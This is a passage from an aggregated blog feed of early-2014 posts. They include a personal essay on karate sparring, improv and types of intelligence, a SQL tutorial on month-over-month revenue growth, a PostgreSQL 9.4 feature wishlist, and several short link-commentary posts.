&lt;p&gt;Practice usually consists of three parts. First part “kihon” covers basic movemets such as stances, blocks, punches and kicks. They might look simple to do from the side but require mastering of a lot of details. The second part “kata” - forms, consists of learning combinations of these basic elements. For example turnining into front stance with low block, followed by reverse punch followed by twenty other stances amd movements. Kata usually needs to performed really precisely - everybody performs exactly the same motions. The last part “kumite” - free sparring, has no rules about which specific techniques to use, in what stance, and at what speed. Sparring is real-time. While doing the forms follows a certain, rather slow pace, in sparring there could be several blocks, punches and kicks in a single second. In sparring one wins over their opponent by being smarter and faster and having a better control over technique. Sparring requires really quick decision of what techniques to execute. If you don’t move away or block the opponent’s attack you get hit, lose a point and it hurts. If you don’t adjust the distance to the opponent the technique you through would be ineffective.&lt;/p&gt;

&lt;p&gt;My karate sensei (instructor) was giving me criticism about my sparring “Dimitar, use your head when sparring. Outsmart your opponents. You went to MIT, you should be able to figure out how to react to the opponent.” To which I replied “Well, I’m good at slow deep thinking but not that good about thinking in the moment. If I try to think too much I am really slow and get hit.” “Well, this is something I can do pretty well - make decisions in the moment,” replied Sensei. So I learned that Sensei is smarter than me on making decisions in the moment. Not just with respect to sparring, but in general - any decision that has tobe made in a very short time frame.&lt;/p&gt;

&lt;p&gt;Assuming that I am better than sensei on thinking mathematically, and he is better at thinking quickly, then who is smarter? Well this is not a clear comparison. We each are better at some type of thinking than the other. And it doesn’t help to ask the question “Who is smarter?” because it isn’t well defined question. Being smart isn’t an objectively measurable thing like being tall. The only way we perceive smartness is by the actions that result from it. Whether those actions are solving a math problem, defeating an opponent in hand combat, or deciding to support a certain cause vs other.&lt;/p&gt;

&lt;p&gt;I grew up being praised for my smarts - I had pretty good performance on math questions, so people labeled me “smart” about everything else in life. And that’s been a bit weird for me because I actually quite suck at many mental things.  The fact that I am supposedly good at math and coding doesn’t mean I’m good in everything. There are many different types of smarts, and I’m lucky to appear as if I have one of them - analytical thinking. But don’t have the ability to make quick strategic decisions. My brain often can’t keep up with demands for reacting in real-time. I don’t understand music. I’m not that great at communicating. I’m not good at creating art. I like games like chess or card games, which are turn-based and don’t involve real-time decison making or being faster than the opponent. I’m pretty bad at real-time strategy games.&lt;/p&gt;

&lt;p&gt;It felt relief when I realized about how many mental things I suck. I don’t have to feel self-confident about things I’m not actually good at, and instead be realistic. There is way less pressure. I can be more honest to myself - “Hey, you aren’t good at this thing, it would take more effort than expected.” I can actually start working on my weaknesses and suck less.&lt;/p&gt;

&lt;p&gt;For example I’m taking an Improv class right now. Improv means script-free theater based on improvisation.  While there are no specific lines to say, or predefined direction in which the story will go, there are a few guidelines that help drive the story forward. In the improv class we learn how to apply those rules. The rules are very general and not specific to theater arts, one can even say they could be applied in any area of life. Some of the guidelines are to accept every offer, to make your partner look good, to be present in the moment, to deliver with confidence and to be obvious. These all help develop my real-time skills.&lt;/p&gt;

&lt;p&gt;I feel that both improv and karate are helping me be more present in the moment, more focused and more engaged with other people. Progress is slow and gradual, but that’s OK for me.&lt;/p&gt;</description><author>D13V</author><pubDate>Sun, 02 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2014/03/02/doing-math-in-real-time</guid></item><item><title>Screenshot Saturday 160</title><link>https://etodd.io/2014/03/01/screenshot-saturday-160/</link><description>&lt;p&gt;This week I finally fixed my water code to allow finite bodies of water like this:&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&lt;a href="https://etodd.io/assets/kDdQxBN.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/kDdQxBNl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;(It's so dark because I still have a pesky rendering bug)&lt;/p&gt;
&lt;p&gt;I also realized I accidentally had pre-multiplied alpha turned on for my cloud texture. Here's what it looks like when you use pre-multiplied alpha incorrectly:&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&lt;a href="https://etodd.io/assets/xxi45Mn.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/xxi45Mnl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And here it is fixed (I also made the clouds fade in over distant objects):&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/O5dNppP.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/O5dNppPl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 01 Mar 2014 12:41:50 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/03/01/screenshot-saturday-160/</guid></item><item><title>Cabin Porn Roundup</title><link>https://zacs.site/blog/cabin-porn-roundup-214.html</link><description>&lt;p&gt;I have a very light issue for you this month, unfortunately: precious little caught my eye over the past few weeks. In fact, just two articles did, and only one came from Cabin Porn: a &lt;a href="http://cabinporn.com/post/77427808607/3rd-generation-hand-made-family-cabin-on-the-upper"&gt;third-generation hand-made cabin from Michigan&lt;/a&gt;. This structure, to me, defines the genre: built of wood and stone and out in the middle of the woods, not some modern architecture retrofitted into a rustic getaway a few hundred feet from the nearest road, this cabin has &lt;em&gt;character&lt;/em&gt;. And I love that about it.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/cabin-porn-roundup-214.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 01 Mar 2014 09:29:34 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/cabin-porn-roundup-214.html</guid></item><item><title>Earning It</title><link>https://zacs.site/blog/earning-it.html</link><description>&lt;p&gt;I sat down to catch up on some long-overdue reading with Sid O&amp;#8217;Neil&amp;#8217;s recent article &lt;a href="http://crateofpenguins.com/blog/earn-your-tools"&gt;&lt;em&gt;Earn Your Tools&lt;/em&gt;&lt;/a&gt; the other day, and before I knew it I had gotten sucked in to the world of every day carry. When I finally resurfaced and finished Sid&amp;#8217;s article, after embarking upon more tangents than I could possibly remember along the way, I found myself wholeheartedly agreeing with him: all too often, especially in Boy Scouts, I see kids touting some fancy piece of gear despite having no idea how to use it both properly and to its full potential, and with little regard for either its worth or its value. To all too many, that price tag was just a number their parents made disappear with the swipe of a credit card. They did not earn the right to that piece of equipment, yet they toss it around as if no more useful or valuable than a sack of potatoes. To borrow a line from Sid&amp;#8217;s article, many of these kids truly are &amp;#8220;that idiot with the shiny new thing who thinks he&amp;#8217;s bought himself into the ranks of the talented.&amp;#8221;&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/earning-it.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 28 Feb 2014 10:04:29 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/earning-it.html</guid></item><item><title>Sample Coding Test</title><link>https://boyter.org/2014/02/sample-coding-test/</link><description>&lt;p&gt;Being in the job market again I been doing quite a few tests. Since I have already put in the effort to a test without result I thought I would post it here.&lt;/p&gt;
&lt;p&gt;The test involved producing output from a supplied CSV input file which contained insurance claims. Something about taking the input and using it to predict future claims. Please forgive my explanation as I am not a financial expert. Anyway the idea was to take an input such as the following,&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Fri, 28 Feb 2014 04:55:38 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/02/sample-coding-test/</guid></item><item><title>2014-02-28</title><link>https://ho.dges.online/pictures/2014-02-28/</link><description>&lt;p&gt;&lt;strong&gt;The Mitch&lt;/strong&gt;&lt;br /&gt;
Mitchell Library in Glasgow.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Fri, 28 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-02-28/</guid></item><item><title>El Diablo Jeep</title><link>http://huckberry.com/blog/posts/4x4-showdown-el-diablo-jeep</link><description>&lt;p&gt;Late last year &lt;a href="https://zacs.site/blog/filson-4x4.html"&gt;I linked to&lt;/a&gt; another, similar post from Huckberry on the &lt;a href="http://huckberry.com/blog/posts/filson-4x4"&gt;Filson 4X4&lt;/a&gt;. Like Filson&amp;#8217;s modified Jeep, Starwood Motors made significant modifications to this once-run-of-the-mill vehicle, transforming it into something remarkably cool&amp;#160;&amp;#8212;&amp;#160;perhaps even cooler than its impressive cousin, also linked in Huckberry&amp;#8217;s post, the &lt;a href="http://uncrate.com/stuff/starwood-full-metal-jacket-jeep/"&gt;Starwood Full Metal Jacket Jeep&lt;/a&gt;. Although at $72,888 and $107,000, respectively, both will remain far outside of my price range for the foreseeable future, I can always look, and look I definitely will.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://huckberry.com/blog/posts/4x4-showdown-el-diablo-jeep"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 27 Feb 2014 17:37:45 GMT</pubDate><guid isPermaLink="true">http://huckberry.com/blog/posts/4x4-showdown-el-diablo-jeep</guid></item><item><title>Of Platforms, Operating Systems and Ecosystems</title><link>http://www.asymco.com/2011/01/31/of-platforms-operating-systems-and-ecosystems/</link><description>&lt;p&gt;Worthwhile distinction to be aware of not only for those targeted by tech company announcements, but those writing about them as well. All too often tech writers use these and countless other terms interchangeably when in reality, they are nowhere near synonymous.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.asymco.com/2011/01/31/of-platforms-operating-systems-and-ecosystems/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 27 Feb 2014 13:33:53 GMT</pubDate><guid isPermaLink="true">http://www.asymco.com/2011/01/31/of-platforms-operating-systems-and-ecosystems/</guid></item><item><title>How Hacker News ranking really works</title><link>http://www.righto.com/2013/11/how-hacker-news-ranking-really-works.html</link><description>&lt;p&gt;Interesting examination the of story ranking system Hacker News employs, and much more scientific than &lt;a href="https://zacs.site/blog/algorithmic-ineptitude.html"&gt;my previous attempt&lt;/a&gt;. Ken Shirriff&amp;#8217;s earlier article on the topic, &lt;a href="http://www.righto.com/2009/06/how-does-newsyc-ranking-work.html"&gt;&lt;em&gt;Inside the news.yc ranking formula&lt;/em&gt;&lt;/a&gt;&amp;#160;&amp;#8212;&amp;#160;in case you miss the link in his latest post&amp;#160;&amp;#8212;&amp;#160;, also warrants some attention as both try to explain the fickle and near-inscrutable internet fire hose that is Hacker News. I found these two articles especially interesting given a recent project I have begun work on, but I won&amp;#8217;t spoil that here.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.righto.com/2013/11/how-hacker-news-ranking-really-works.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 27 Feb 2014 09:16:35 GMT</pubDate><guid isPermaLink="true">http://www.righto.com/2013/11/how-hacker-news-ranking-really-works.html</guid></item><item><title>Tracking Month over Month Growth in SQL</title><link>/2014/02/26/Tracking-Month-over-Month-Growth-in-SQL/</link><description>&lt;p&gt;&lt;!-- raw HTML omitted --&gt; In analyzing a business I commonly look at reports that have two lenses, one is by doing various cohort analysis. The other is that I look for Month over Month or Week over Week or some other X over X growth in terms of a percentage. This second form of looking at data is relevant when you&amp;rsquo;re in a SaaS business or essentially anythign that does recurring billing. In such a business focusing on your MRR and working on &lt;a href="http://www.amazon.com/dp/B003XVYKRW?tag=mypred-20"&gt;growing your MRR is how success can often be measured&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll jump write in, first lets assume you have some method of querying your revenue. In this case you may have some basic query similar to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT date_trunc('month', mydate) as date,
sum(mymoney) as revenue
FROM foo
GROUP BY date
ORDER BY date ASC;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should give you a nice clean result:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; date | revenue
------------------------+----------
2013-10-01 00:00:00+00 | 10000
2013-11-01 00:00:00+00 | 11000
2013-12-01 00:00:00+00 | 11500
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now this is great, but the first thing I want to do is start to see what my percentage growth month over month is. Surprise, surprise, I can do this directly in SQL. To do so I&amp;rsquo;ll use a &lt;a href="http://postgresguide.com/tips/window.html"&gt;window function&lt;/a&gt; and then use the &lt;a href="http://www.postgresql.org/docs/9.3/static/functions-window.html"&gt;lag function&lt;/a&gt;. According to the Postgres docs&lt;/p&gt;
&lt;p&gt;&lt;em&gt;lag(value any [, offset integer [, default any ]]) same type as value returns value evaluated at the row that is offset rows before the current row within the partition; if there is no such row, instead return default. Both offset and default are evaluated with respect to the current row. If omitted, offset defaults to 1 and default to null&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Essentially it orders it based on the &lt;a href="http://www.postgresql.org/docs/9.3/static/tutorial-window.html"&gt;window function&lt;/a&gt; and then pulls in the value from the row before. So in action it looks something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT date_trunc('month', mydate) as date,
sum(mymoney) as revenue,
lag(mymoney, 1) over w previous_month_revenue
FROM foo
WINDOW w as (order by date)
GROUP BY date
ORDER BY date ASC;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Combining to actually make it a bit more pretty (with some casting to a numeric and then formatting a bit) in terms of a percentage:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT date_trunc('month', mydate) as date,
sum(mymoney) as revenue,
round((1.0 - (cast(mymoney as numeric) / lag(mymoney, 1) over w)) * 100, 1) myVal_growth
FROM foo
WINDOW w as (order by date)
GROUP BY date
ORDER BY date ASC;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And you finally get a nice clean output of your month over month growth directly &lt;a href="http://www.amazon.com/dp/B0043EWUQQ?tag=mypred-20"&gt;in SQL&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; date | revenue | growth
------------------------+----------+--------
2013-10-01 00:00:00+00 | 10000 | null
2013-11-01 00:00:00+00 | 11000 | 10.0
2013-12-01 00:00:00+00 | 11500 | 4.5
&lt;/code&gt;&lt;/pre&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Wed, 26 Feb 2014 22:55:56 GMT</pubDate><guid isPermaLink="true">/2014/02/26/Tracking-Month-over-Month-Growth-in-SQL/</guid></item><item><title>Why Is Academic Writing So Academic?</title><link>http://www.newyorker.com/online/blogs/books/2014/02/why-is-academic-writing-so-academic.html</link><description>&lt;p&gt;Somewhat interesting article explaining the reasons behind the aspects that lead many to consider academic writing so terrible. For the most part, I agree: in my experience, the academic community&amp;#160;&amp;#8212;&amp;#160;or, at the very least, the subset involved in literary pursuits&amp;#160;&amp;#8212;&amp;#160;is incredibly out of touch with not only current trends in their professed field of interest, but averse and close-minded to change in that field as well. This is especially true&amp;#160;&amp;#8212;&amp;#160;painfully so&amp;#160;&amp;#8212;&amp;#160;of those who for some reason believe that they are bucking the system&amp;#160;&amp;#8212;&amp;#160;particularly the ones who graduated within the last few years&amp;#160;&amp;#8212;&amp;#160;and put down that old five paragraph format as outdated before going on to teach their favorite derivation of it. Unfortunately, I am nowhere near as confident in the revival of this once-praiseworthy system as Joshua Rothman is: if the academic community cannot change their writing style, what hope do we have that they will bring about meaningful change to the underlying system?&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.newyorker.com/online/blogs/books/2014/02/why-is-academic-writing-so-academic.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 26 Feb 2014 11:04:29 GMT</pubDate><guid isPermaLink="true">http://www.newyorker.com/online/blogs/books/2014/02/why-is-academic-writing-so-academic.html</guid></item><item><title>Jason Shen: Author of Winning Isn't Normal</title><link>https://solomon.io/jason-shen-author-of-winning-isnt-normal/</link><description>Jason Shen co-founded Ridejoy, was a Presidential Innovation Fellow at the Smithsonian, is a NCAA National Champion gymnast and is the author of Winning Isn’t…</description><author>Sam Solomon</author><pubDate>Wed, 26 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/jason-shen-author-of-winning-isnt-normal/</guid></item><item><title>Whole Foods: America's Temple of Pseudoscience</title><link>http://www.thedailybeast.com/articles/2014/02/23/whole-foods-america-s-temple-of-pseudoscience.html</link><description>&lt;p&gt;Try&amp;#160;&amp;#8212;&amp;#160;I say &amp;#8220;try&amp;#8221; fully aware of the fact that few of you will even try, let alone succeed&amp;#160;&amp;#8212;&amp;#160;to disregard your own personal beliefs when reading this article and it becomes an interesting social commentary on rationality and hypocrisy. I have seen both sides Michael Schulson describes take their beliefs to their respective extremes over the years, to equally ridiculous and ineffective results. If nothing else, read this article, stick it in the back of your mind, and think back to it next time you make a decision based on something you hold as a self-evident truth.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.thedailybeast.com/articles/2014/02/23/whole-foods-america-s-temple-of-pseudoscience.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 25 Feb 2014 23:41:09 GMT</pubDate><guid isPermaLink="true">http://www.thedailybeast.com/articles/2014/02/23/whole-foods-america-s-temple-of-pseudoscience.html</guid></item><item><title>Changing the tt-rss database from MySQL to Postgresql</title><link>https://www.zufallsheld.de/2014/02/25/changing-the-tt-rss-database-from-mysql-to-postgresql/</link><description>&lt;p&gt;I&amp;#8217;m currently running a &lt;a href="http://tt-rss.org"&gt;Tiny Tiny &lt;span class="caps"&gt;RSS&lt;/span&gt;&lt;/a&gt;-Server with nginx as a webserver and MySQL as a database-backend. I already wrote about the setup &lt;a href="http://zufallsheld.de/2013/11/03/tiny-tiny-rss-centos-nginx-mysql/"&gt;here&lt;/a&gt;.
My small weekend-project was to change the backend to &lt;a href="http://www.postgresql.org/"&gt;Postgresql&lt;/a&gt; as this is the recommended database by the author for running&amp;nbsp;tt-rss.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

&lt;p&gt;Initially I …&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Tue, 25 Feb 2014 23:06:21 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2014/02/25/changing-the-tt-rss-database-from-mysql-to-postgresql/</guid></item><item><title>PostgreSQL 9.4 - What I was hoping for</title><link>/2014/02/25/PostgreSQL-9.4-What-I-Wanted/</link><description>&lt;p&gt;Theres no doubt that the &lt;a href="/2014/02/02/Examining-PostgreSQL-9.4/"&gt;9.4 release&lt;/a&gt; of PostgreSQL will have some great improvements. However, for all of the improvements it delivering it had the promise of being perhaps the most impactful release of &lt;a href="http://www.amazon.com/dp/B008IGIKY6?tag=mypred-20"&gt;Postgres&lt;/a&gt; yet. Several of the features that would have given it my stamp of best release in at least 5 years are now already not making it and a few others are still on the border. Here&amp;rsquo;s a look at few of the things that were hoped for and not to be at least until another 18 months.&lt;/p&gt;
&lt;h3 id="upsert"&gt;
&lt;div&gt;
Upsert
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Upsert, merge, whatever you want to call it, this is been a sore hole for sometime now. Essentially this is insert based on this ID or if that key already exists update other values. This was something being worked on pretty early on in this release, and throughout the process continuing to make progress. Yet as progress was made so were exteneded discussions about syntax, approach, etc. In the end two differing views on how it should be implemented have the patch still sitting there with other thoughts on an implementation but not code ready to commit.&lt;/p&gt;
&lt;p&gt;At the same time I&amp;rsquo;ll acknowledge upsert as a hard problem to address. The locking and concurrency issues are non-trivial, but regardless of those having this in there mostly kills the final argument for anyone to chose MySQL.&lt;/p&gt;
&lt;h3 id="better-json"&gt;
&lt;div&gt;
Better JSON
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;JSON is Postgres is super flexible, powerful, and &lt;strong&gt;generally slow&lt;/strong&gt;. Postgres does validation and some parsing of JSON, but without something like &lt;a href="https://postgres.heroku.com/blog/past/2013/6/5/javascript_in_your_postgres/"&gt;PLV8&lt;/a&gt;, or &lt;a href="http://www.craigkerstiens.com/2013/05/29/postgres-indexes-expression-or-functional-indexes/"&gt;functional indexes&lt;/a&gt; you may not get great performance. This is because under the covers the JSON is represented as text and as a result many of the more powerful indexes that could lend benefit, such as GIN or GIST, simply don&amp;rsquo;t apply here.&lt;/p&gt;
&lt;p&gt;As a related effort to this &lt;a href="http://postgresguide.com/sexy/hstore.html"&gt;hstore&lt;/a&gt;, the key/value store, is working on being updated. This new support will add types and nesting making it much more usable overall. However the syntax and matching of how JSON functions isn&amp;rsquo;t guranteed to be part of it. The proposal and actually work is still there and not rejected yet, but looks heavily at risk. Backing a new binary representation of JSON with hstore 2 would deliver so many benefits further building upon the foundation of hstore, JSON, PLV8 that exists today for Postgres.&lt;/p&gt;
&lt;h3 id="apt-get-for-your-extensions"&gt;
&lt;div&gt;
apt-get for your extensions
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;I&amp;rsquo;m almost not even sure where to start with this one. The notion within a Postgres community is that packaging for distros is super simple and extensions should just be packaged for them. Then there&amp;rsquo;s &lt;a href="http://pgxn.org/"&gt;PGXN&lt;/a&gt; the Postgres extension network where you can download and compile and muck with annoying settings to get extensions to build. This proposal would have delivered a built in installer much like NPM or rubygems or PyPi and the ability for someone to simply say install extension from this centralized repository. No, it was setting out to solve the issue of having a single repository but would make it much easier for people to run one.&lt;/p&gt;
&lt;p&gt;For all the awesome-ness that exists in extensions such as &lt;a href="http://tapoueh.org/blog/2013/02/25-postgresql-hyperloglog"&gt;HyperLogLog&lt;/a&gt;, &lt;a href="http://www.craigkerstiens.com/2012/10/18/connecting_to_redis_from_postgres/"&gt;foreign data wrappers&lt;/a&gt;, &lt;a href="http://madlib.net/"&gt;madlib&lt;/a&gt; theres hundreds of other extensions that could be written and be valuable. They don&amp;rsquo;t even all require C, they could fully exist in JavaScript with PLV8. Yet I&amp;rsquo;m on the fence encouraging people to write such because if no one uses it then much of the point in the reusability of an extension is lost. Here&amp;rsquo;s hoping that there&amp;rsquo;s a change of opinion in the future that packaging is a solved problem and that creating an ecosystem for others to contribute to the Postgres world without knowing C is a positive thing.&lt;/p&gt;
&lt;h3 id="logical-replication"&gt;
&lt;div&gt;
Logical replication
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;When I first heard this might have some shot at making it in 9.4 I was shocked. This is something that while some may not take notice of I&amp;rsquo;ve felt pain of for many years. Logical replication means in short enabling upgrades across PostgreSQL versions without a dump and restore, but even more so laying the ground work for more complicated architectures like perhaps multi-master. Yes, even with logical replication in theres still plenty of work to do, but having the groundwork laid goes a long way. There are options for it today with third party tools, but the management of these is painful at best.&lt;/p&gt;
&lt;h3 id="in-conclusion"&gt;
&lt;div&gt;
In conclusion
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;The positive of this one is that the building blocks are in and its continuing to make progress. Its just that we&amp;rsquo;ll have to wait about 18 months before the release of PostgreSQL 9.5 before its in our hands.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Tue, 25 Feb 2014 22:55:56 GMT</pubDate><guid isPermaLink="true">/2014/02/25/PostgreSQL-9.4-What-I-Wanted/</guid></item><item><title>A Star In A Bottle</title><link>http://www.newyorker.com/reporting/2014/03/03/140303fa_fact_khatchadourian?currentPage=all</link><description>&lt;p&gt;Phenomenal article by Raffi Khatchadourian chronicling ITER&amp;#8217;s long and trying journey towards nuclear fusion. Fraught with not only technical challenges but also complex social dynamics, geopolitical tensions, and budgetary shortcomings time and time again&amp;#160;&amp;#8212;&amp;#160;to name just a few of the problems that have plagued this project in the twenty-one years since work began, to say nothing of the ridicule and general disregard the idea suffered particularly from the academic community in the preceding fifty-eight years&amp;#160;&amp;#8212;&amp;#160;it is nothing short of a miracle that the team has not just managed to remain intact, but made progress as well. Incredible&amp;#160;&amp;#8212;&amp;#160;their journey, yes, but the sheer scale they are working on as well. Absolutely awe-inspiring. This piece alone justifies the continued existence of print publications.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.newyorker.com/reporting/2014/03/03/140303fa_fact_khatchadourian?currentPage=all"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 25 Feb 2014 17:38:09 GMT</pubDate><guid isPermaLink="true">http://www.newyorker.com/reporting/2014/03/03/140303fa_fact_khatchadourian?currentPage=all</guid></item><item><title>Apple Acquires TestFlight Owner Burstly</title><link>http://www.macstories.net/news/apple-acquires-testflight-owner-burstly/</link><description>&lt;p&gt;Apple acquired another company&amp;#160;&amp;#8212;&amp;#160;great, wonderful; the most interesting news I saw after this announcement, however, came from Federico Viticci when he highlighted a recent idea MG Siegler put forth before Christmas in suggesting a Beta App Store. From Federico&amp;#8217;s article:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&amp;#8220;On a related rumor note, the Burstly acquisition may also indicate Apple&amp;#8217;s intention to launch a &amp;#8216;beta App Store&amp;#8217; service for developers to test apps publicly with subsets of users in specific regions or demographics. The idea was &lt;a href="http://techcrunch.com/2013/12/16/beta-app-store/"&gt;first suggested by MG Siegler&lt;/a&gt; in December 2013 and &lt;a href="https://twitter.com/parislemon/status/436934869818425344"&gt;brought up&lt;/a&gt; again &lt;a href="https://twitter.com/markgurman/status/436942086932140032"&gt;today&lt;/a&gt; following the acquisition news.&amp;#8221;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Very interesting. If you, like me before coming across it by way of Federico&amp;#8217;s article, have not read MG&amp;#8217;s piece, I encourage you to do so: he makes a strong case for this idea. It still needs some work and presents a number of potential issues&amp;#160;&amp;#8212;&amp;#160;allowing anyone access to this testing ground seems problematic, to say the least; there&amp;#8217;s a very good reason betas of Apple&amp;#8217;s operating systems and apps are restricted to those with a developer account&amp;#160;&amp;#8212;&amp;#160;but these challenges are by no means insurmountable. And MG is right: it&amp;#8217;s high-time Apple gave its developers these capabilities.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.macstories.net/news/apple-acquires-testflight-owner-burstly/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 25 Feb 2014 11:12:19 GMT</pubDate><guid isPermaLink="true">http://www.macstories.net/news/apple-acquires-testflight-owner-burstly/</guid></item><item><title>Never judge a programmer by their commit history</title><link>https://nicolaiarocci.com/never-judge-a-programmer-by-their-commit-history/</link><description>&lt;blockquote&gt;
&lt;p&gt;It’s been a very long time since I judged any programmer based on their commit history and I believe if you think you can judge a programmer’s ability by reading his/her code YOU ARE WRONG.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://www.mehdi-khalili.com/never-judge-a-programmer-by-their-commit-history"&gt;Never judge a programmer by their commit history&lt;/a&gt;&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Tue, 25 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/never-judge-a-programmer-by-their-commit-history/</guid></item><item><title>Microsoft ReFS vs Oracle ZFS - FIGHT!</title><link>https://jasoneckert.github.io/myblog/refs-vs-zfs-fight/</link><description>&lt;p&gt;&lt;img alt="Fight" src="refszfs1.png#center" title="Fight" /&gt;&lt;/p&gt;
&lt;p&gt;In the past, most IT admins have put their faith in systems and SANs (Storage Area Networks) that use RAID (Redundant Array of Inexpensive Disks) technology.  RAID can be used to combine hard disks together into simple volumes (called RAID-0, or JBOD) that aren’t fault tolerant, but can also be used to create mirrored volumes where both drives are identical in case one fails (called RAID-1), or striped volumes with parity where data is written across several disks with parity information that can be used to calculate the missing data if a drive fails (called RAID-5).&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Tue, 25 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/refs-vs-zfs-fight/</guid></item><item><title>Article on using the JavaScript Debugger</title><link>https://peterlyons.com/problog/2014/02/article-on-using-the-javascript-debugger/</link><description>&lt;p&gt;So I wrote an article on using the Chrome Developer tools debugger in the browser and node.js. It's got diagrams and screencasts and the whole nine yards. Check it out over at &lt;a href="https://peterlyons.com/js-debug"&gt;Lighting Up Your JavaScript With the Debugger&lt;/a&gt;&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Tue, 25 Feb 2014 01:04:39 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2014/02/article-on-using-the-javascript-debugger/</guid></item><item><title>Meet the 'Guardians of the Galaxy'</title><link>http://filmschoolrejects.com/news/meet-the-guardians-of-the-galaxy.php</link><description>&lt;p&gt;I said it in &lt;a href="http://eepurl.com/OxOsj"&gt;the last edition of my newsletter&lt;/a&gt; and alluded to it in &lt;a href="https://twitter.com/zacjszewczyk/status/437330929363595264"&gt;a recent tweet&lt;/a&gt;, but I&amp;#8217;ll say it again here: I&amp;#8217;m not at all excited for Marvel&amp;#8217;s upcoming movie. Iron Man 3, The Avengers, and even Thor: The Dark World&amp;#160;&amp;#8212;&amp;#160;although to a lesser degree there&amp;#160;&amp;#8212;&amp;#160;all spent way too much time and energy in pursuit of humor. In some cases, it paid off: the scene where Hulk tossed Loki around before calling him a &amp;#8220;puny god&amp;#8221; was great, and Loki&amp;#8217;s scene where he impersonated a number of other Marvel characters with Thor in their latest film was delightful. By and large though, that humor has no place in action movies. Marvel ought to pick one or the other and stop aiming for both genres, because they invariably meet both criteria poorly. Better to focus on a single goal than spread themselves too thin. There&amp;#8217;s a particularly worthwhile analogy to writing here, but I will leave it to you, the reader, to make.&lt;/p&gt;


